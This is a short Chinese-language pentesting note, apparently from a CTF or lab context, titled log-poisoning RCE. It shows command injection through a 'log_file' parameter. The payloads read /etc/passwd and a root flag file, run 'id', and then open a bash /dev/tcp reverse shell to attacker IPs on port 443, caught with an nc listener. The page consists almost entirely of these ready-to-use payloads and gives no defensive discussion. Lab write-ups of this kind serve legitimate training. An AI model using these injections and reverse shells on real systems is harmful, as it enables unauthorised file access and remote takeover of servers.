> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md).
# 日志投毒 RCE
## (LFI - RCE) 日志投毒：
如果我们尝试列出一个文件，例如 `/etc/passwd`，例如：
```bash
log_file=/etc/passwd &analyze_log=/etc/passwd
```
该文件被列出了 :)
然后我们尝试读取包含 flag 的文件 `root` 并且我们观察到可以执行命令（例如 `id`):
```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```
### **完全访问（反向 shell）：**
为了获得反向 shell，我们执行以下命令：
{% code fullWidth="false" %}
```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```
{% endcode %}
{% code overflow="wrap" fullWidth="true" %}
```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```
{% endcode %}
然后，我们使用以下命令设置一个监听器 `nc`:
```bash
nc -nvlp 443
```
---
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